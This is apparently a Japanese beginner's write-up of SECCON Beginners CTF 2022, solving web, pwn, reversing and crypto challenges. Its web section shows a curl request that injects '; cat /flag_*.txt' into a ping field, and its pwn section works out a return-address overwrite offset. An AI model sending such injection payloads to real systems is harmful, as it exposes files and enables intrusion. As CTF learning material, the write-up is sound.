SECCON Beginners CTF 2022に挑戦: CTF未経験者目線で解法を書きます

## 更新履歴

- 2022/06/19: reversing/Quiz, pwnable/BeginnerBofの解法を追加しました。これでBeginner向け問題はコンプリートです。

---

## はじめに

### SECCON Beginner CTF 2022とは

- 主にCTF初心者～中級者が対象としたCTF
- 開催期間: 2022/6/4 14:00 ～ 2022/6/5 14:00 JST
- チームor個人で参加できる (私は個人参加)

<https://www.seccon.jp/2022/beginners/about-seccon-beginners.html>

### 私のレベル

- これまでにCTFの問題を見たことが無く今回がCTF初参加:beginner:
- セキュリティに関する知識は書籍,Web,資格試験などで勉強中
- 机上の知識のみで、ペネトレーションテストなど実際に試した経験はない

---

## CTFを終えて

### 成績

- 105点 (891チーム中552位)

  解けたのは2問だけでしたが解けてよかったです:relaxed:

### 感想 (課題)

- 机上での理屈はわかっていても実現方法、ツールとその使いこなしがわかっていませんでした

- 問題とともに提供されるソースコードなどにヒントが散りばめられていて情報収集がとても重要でした

- だけど面白かった！解けなかった問題にもトライしてCTFを続けてみたいと思います:muscle_tone2:

---

## 問題と解法

SECCON beginners CTF 2022開催期間中に解けた問題について、解いた方法を書きます。問題公開期間中に他のBeginner向け問題にもトライしてUpdateしたいと思っています。

### 環境

    OS: Windows11
      WSL2 (Ubuntu):  Ubuntu 20.04.4 LTS
        curl 7.68.0
        Python 3.8.10
---

### **Web**

#### Util (Beginner)

- 以下のようなフォームにIPアドレスを入れるとping結果が表示されるアプリが提供されている。
  ![Web-Util-IF.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2514738/4dd7c711-d229-a947-728a-4de6413fd47f.png)

- util.tar.gz内のDockerファイルを見るとどうやら`/`(ルート)ディレクトリ直下に`flag_*.txt`というflagファイルがありそう

  ```docker:Dockerfile
  RUN echo "ctf4b{xxxxxxxxxxxxxxxxxx}" > /flag_$(cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1).txt
  ```

- utils.tar.gz内のmain.goを見るとpingコマンドの引数にParam.Addressがチェック無しで渡されているので、**OSコマンドインジェクションでflagファイルの中身を取り出せばよさそう！！**

  ```go:main.go
      commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
  ```

- しかし、util.tar.gz内のpages/index.htmlを見ると、Webページ上のIPアドレス入力フォームには入力値チェックがあるため、Webページ上からインジェクションすることができない。

  ```javascript:pages/index.html
      function send() {
        var address = document.getElementById("addressTextField").value;

        if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(address)) {
          var json = {};
          json.address = address

          var xhr = new XMLHttpRequest();
          xhr.open("POST", "/util/ping");
          xhr.setRequestHeader("Content-Type", "application/json");
          xhr.send(JSON.stringify(json));
          :
        } else {
          document.getElementById("notify").innerHTML = "<p>Invalid IP address</p>";
        }
  ```

- ということでcURLコマンドなどを使ってHTTPリクエストを送信してみる。今回は以下のcURLコマンドを発行して`cat /flag_*.txt`の結果を取得する

  ```bash
  curl -s -X POST https://util.quals.beginners.seccon.jp/util/ping -H "Content-Type:application/json" -d "{\"address\": \"127.0.0.1; cat /flag_*.txt\"}" | sed -e s/'\\n'/'\n'/g
  ```

  **無事フラグが取得できました**

  ```bash
  {"result":"PING 127.0.0.1 (127.0.0.1): 56 data bytes
  64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.117 ms

  --- 127.0.0.1 ping statistics ---
  1 packets transmitted, 1 packets received, 0% packet loss
  round-trip min/avg/max = 0.117/0.117/0.117 ms
  ctf4b{al1_0vers_4re_i1l}  <=== これ！！
  ```

---

### **misc**

---

### **pwnable**

#### BeginnersBof (Beginner) <2022/06/19追記>

- 残念ながら**自力で解くことができませんでした…**:sob:

  - 勉強させていただいた資料

    - 作者さんのWriteup

      <https://feneshi.co/ctf4b2022writeup/#BeginnersBof>

      バイナリからの関数先頭アドレスの取り方、バイトコードの送り方などものすごく勉強になりました。ただオーバーフローさせるバッファ先頭アドレスからリターンアドレスが格納されているアドレスまでの距離がなぜ`0x28`なのかがわからずジタバタ＾＾；

    - むさこーどさんのZennスクラップ

      <https://zenn.dev/musacode/scraps/7fc68fd44283b8#comment-13d0c5e65b5f04>

      オーバーフローさせるバッファの先頭アドレスからリターンアドレス格納アドレスまでの距離が`0x28`であることが理解できました。記事を教えてくださった むさこーどさん ありがとうございます！

  - 自分なりに理解した内容を以下に記載します。ビギナーレベルの自分がわかるように少々細かめに(くどめに？ｗ)書いてみます。

- 本問題では`chall`というバイナリとそのソースコード`src.c`が提供されている。`chall`を実行すると名前の長さ・名前が尋ねられ、それぞれ入力すると`Hello <名前>`と出力される

  ![Pwn-BeginnerBof.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2514738/ef30aca4-ba2c-b918-d5ac-04b8abc6d33c.png)

- `src.c`を確認すると
  - `win()`関数にフラグ情報を標準出力へ表示する処理があるので何とかして **`win()`関数を実行できれば勝ち** !!!
  - しかし`main()`関数から`win()`関数は呼ばれていない
  - `main()`関数を見ると`fgets()`で標準入力から長さ`len`のデータを取得し`buf[]`に格納している。`buf[]`は要素数`0x10`で領域確保されているが、`fgets()`で取得するデータ長`len`を制限する処理がない。つまり`buf[]`には、定義されているデータ長`0x10`を超える長さのデータを代入することができる(バッファオーバーフローを起こすことができる)。
  - **`buf[]`に対するバッファオーバーフローを利用して`main()`関数のリターンアドレスを`win()`関数の先頭アドレスに上書き**すれば、`main()`関数終了時に`win()`関数が実行され、フラグ情報を表示させることができる。
  
  ```c:src.c
  #define BUFSIZE 0x10

  void win() {
      char buf[0x100];
      int fd = open("flag.txt", O_RDONLY);
      if (fd == -1)
          err(1, "Flag file not found...\n");
      write(1, buf, read(fd, buf, sizeof(buf)));
      close(fd);
  }

  int main() {
      int len = 0;
      char buf[BUFSIZE] = {0};
      puts("How long is your name?");
      scanf("%d", &len);
      char c = getc(stdin);
      if (c != '\n')
          ungetc(c, stdin);
      puts("What's your name?");
      fgets(buf, len, stdin);
      printf("Hello %s", buf);
  }
  ```

- `win()`関数の先頭アドレスを確認する (`0x00000000004011e6`かな)

  ```bash
  $ gdb -q chall
  Reading symbols from chall...
  (No debugging symbols found in chall)
  (gdb) disas win
  Dump of assembler code for function win:
    0x00000000004011e6 <+0>:     push   %rbp
    0x00000000004011e7 <+1>:     mov    %rsp,%rbp
    :
   ```

  `buf[]`をバッファオーバーフローさせて`main()`関数のリターンアドレスを`0x00000000004011e6`に書き変えればフラグを入手できそうだが、**リターンアドレスってどこに格納されてるんだろうか？？？？？**

- リターンアドレス格納場所を知るために、まずスタックについて調べてみた

  - 参考にしたサイト

    <https://www.ipa.go.jp/security/awareness/vendor/programmingv1/b06_01.html>

  - `main()`が呼ばれると、以下のようにアドレスの大きい方から小さい方に向かってスタックが積まれていく

    |＜＜スタック＞＞|
    |:-:|
    |(アドレス小さい)|
    |:|
    |:<br>**ローカル変数**<br>:|
    |**ベースポインタのレジスタ退避**|
    |**`main()`関数のリターンアドレス**|
    |(アドレス大きい)|

- `main()`関数に入った直後のレジスタ情報を確認しスタックがどうなっているかを調べる
  - gdbを起動する
  - `main()`関数でbreakをはる
  - プログラム実行 => breakpointで止まる

    ```bash
    $ gdb -q chall
    Reading symbols from chall...
    (No debugging symbols found in chall)
    (gdb) break main
    Breakpoint 1 at 0x401267
    (gdb) run
    Starting program: /home/tooru/SECCON_Beginners_CTF2022/chall

    Breakpoint 1, 0x0000000000401267 in main ()
    ```

  - `main()`関数をdisasembleしてレジスタの動きを確認する

    ```bash
    (gdb) disas main
    Dump of assembler code for function main:
      0x0000000000401263 <+0>:     push   %rbp
      0x0000000000401264 <+1>:     mov    %rsp,%rbp
    => 0x0000000000401267 <+4>:     sub    $0x20,%rsp
      0x000000000040126b <+8>:     movl   $0x0,-0x8(%rbp)
      0x0000000000401272 <+15>:    movq   $0x0,-0x20(%rbp)
      0x000000000040127a <+23>:    movq   $0x0,-0x18(%rbp)
    ```

    - rbp(ベースポインタ)がプッシュされる（ベースポインタのレジスタ退避）
    - rsp(スタックポインタ:現在のスタック先頭)がベースポインタとしてrbpにコピーされる
    - rspを0x20引いた情報で更新される（ローカル変数領域が0x20で確保）※これが実行される前(breakpoint)で止まっている状態

  - レジスタ情報を確認してみる

    ```bash
    (gdb) info register
    :
    rbp            0x7fffffffe090      0x7fffffffe090
    rsp            0x7fffffffe090      0x7fffffffe090
    ```

    rbpが`0x7fffffffe090`を指しているということは、スタックは以下のようになっていると思われる
    - `0x7fffffffe070`から`0x20`byte分がローカル変数領域
    - `0x7fffffffe090`がベースポインタで、古いベースポインタ(おそらく`8`byte分)が退避されている
    - **`0x7fffffffe098`にリターンアドレス(おそらく`8`byte分)が格納されている**

    あとは **`buf[]`の先頭アドレスがわかれば、`buf[]`に入力するデータの長さとリターンアドレスの相対位置が確定できそう**

- `buf[]`に`AAAAAAAAAAAAAAA`を入力したときのスタックの状態を確認することで`buf[]`先頭アドレスを調べる

  - `main()`関数の`printf()`あたりのアドレスを確認し、`printf()`直後のアドレスでbreakをはる

    ```bash
    (gdb) disas main
    Dump of assembler code for function main:
      0x0000000000401263 <+0>:     push   %rbp
      :
      0x000000000040130a <+167>:   callq  0x401050 <printf@plt>
      0x000000000040130f <+172>:   mov    $0x0,%eax
      :
    (gdb) b *0x000000000040130f
    Breakpoint 1 at 0x40130f
    ```

  - プログラム実行
  - 名前の長さは`16`を指定し、名前は`AAAAAAAAAAAAAAA`(Aが15個)を指定する

    ```bash
    (gdb) r
    Starting program: /home/tooru/SECCON_Beginners_CTF2022/chall
    How long is your name?
    16
    What's your name?
    AAAAAAAAAAAAAAA
    Hello AAAAAAAAAAAAAAA
    Breakpoint 1, 0x000000000040130f in main ()
    ```

  - ローカル変数領域の先頭からスタックの中身を確認する

    ```bash
    (gdb) x/48bx 0x7fffffffe070
    0x7fffffffe070: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
    0x7fffffffe078: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x00
    0x7fffffffe080: 0x80    0xe1    0xff    0xff    0xff    0x7f    0x00    0x00
    0x7fffffffe088: 0x10    0x00    0x00    0x00    0x00    0x00    0x00    0x0a
    0x7fffffffe090: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
    0x7fffffffe098: 0x83    0x10    0xdf    0xf7    0xff    0x7f    0x00    0x00
    ```

    `buf[]`に入れた`AAAAAAAAAAAAAAA`(`A`(0x41)が15個)は`0x7fffffffe070`から入っているので、`buf[]`の先頭アドレスはローカル変数領域の先頭である`0x7fffffffe070`でよさそう。

- まとめると
  - 実行させたい`win()`関数のアドレスは`0x00000000004011e6`
  - バッファオーバーフローさせたい`buf[]`の先頭アドレスは`0x7fffffffe070`
  - 上書きしたい`main()`関数のリターンアドレスは`0x7fffffffe098`から8byte
  - つまり`buf[]`に対して

    **「`0x28`byte分の適当な1byte文字＋`win()`関数の先頭アドレス`0x00000000004011e6`」**

    を与えれば、`main()`関数終了時に`win()`関数が実行されフラグ情報が入手できそう

  というのが現時点での私の理解です。

  もっとスマートな考え方がありそうな気がしますし、[前述した記事](https://zenn.dev/musacode/scraps/7fc68fd44283b8#comment-13d0c5e65b5f04)ではかなりスマートな確認方法が紹介されています。まだまだ勉強が必要ですね…

  ---

### **reversing**

#### Quiz (Beginner) <2022/06/19追記>

- `quiz`というバイナリが1つだけ提供されている

- 実行するとクイズが出題されたので(何度も間違いながらw)答えてみると最後に「フラグは何でしょうか？」と聞かれる…

  ![Reversing-Quiz.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2514738/514925f7-6bfb-51c4-dec0-e0f7648a88e6.png)

- きっとバイナリ内で入力した情報を正解フラグ情報を比較してると思われる。

- ところでクイズのQ3に出てきた`strings`コマンドについて調べてみると、バイナリ内の文字列も抽出できるもよう。もしや比較に使っているフラグ情報が取れるかも！ということで早速使ってみるとフラグ情報が取れました

  ```bash
  $ strings ./quiz | grep ctf4b
  ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}
  ```

---

### **crypto**

#### CoughingFox (Beginner)

- フラグが暗号化スクリプトproblem.pyによって暗号化され、output.txtに出力されている。

  ```python:problem.py
  from random import shuffle

  flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"

  cipher = []

  for i in range(len(flag)):
      f = flag[i]
      c = (f + i)**2 + i
      cipher.append(c)

  shuffle(cipher)
  print("cipher =", cipher)
  ```

  ```text:output.txt
  cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]
  ```

- それを復号すればフラグが取得できる

  以下のように復号するpythonスクリプトを作成し実行する

  ```python
  import struct

  cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]

  # flag rule: ctf4b{[\x20-\x7e]+}
  # 'c', 't', 'f', '4', 'b', '{', '}' も[\x20-\x7e]で表現できる
  flag = b""

  # cipher[]の要素数はflagの文字数と同じ。
  #   cipher[]の要素数分ループ処理することでflagの1文字目から順にあぶり出す。
  # flagルールで定義される文字パターン[\x20-\x7e]に対して順番に暗号化し、
  #   cipher[]に含まれるものと一致した場合はそれがflagの文字なのでflag文字列に追加する
  # ※この暗号化アルゴリズムは[\x20-\x7e]を暗号化しても衝突は起こらないものとする
  for i in range(len(cipher)):
      for char_code in list(range(0x20,0x7e,1)):
          c = (char_code + i)**2 + i
          if c in cipher:
              flag += struct.pack("B",char_code)
              break

  print("flag =", flag)
  ```

  実行結果

  ```shell
  flag = b'ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}'
  ```

---

### **welcome**

- Discordの投稿の中にフラグがありました💡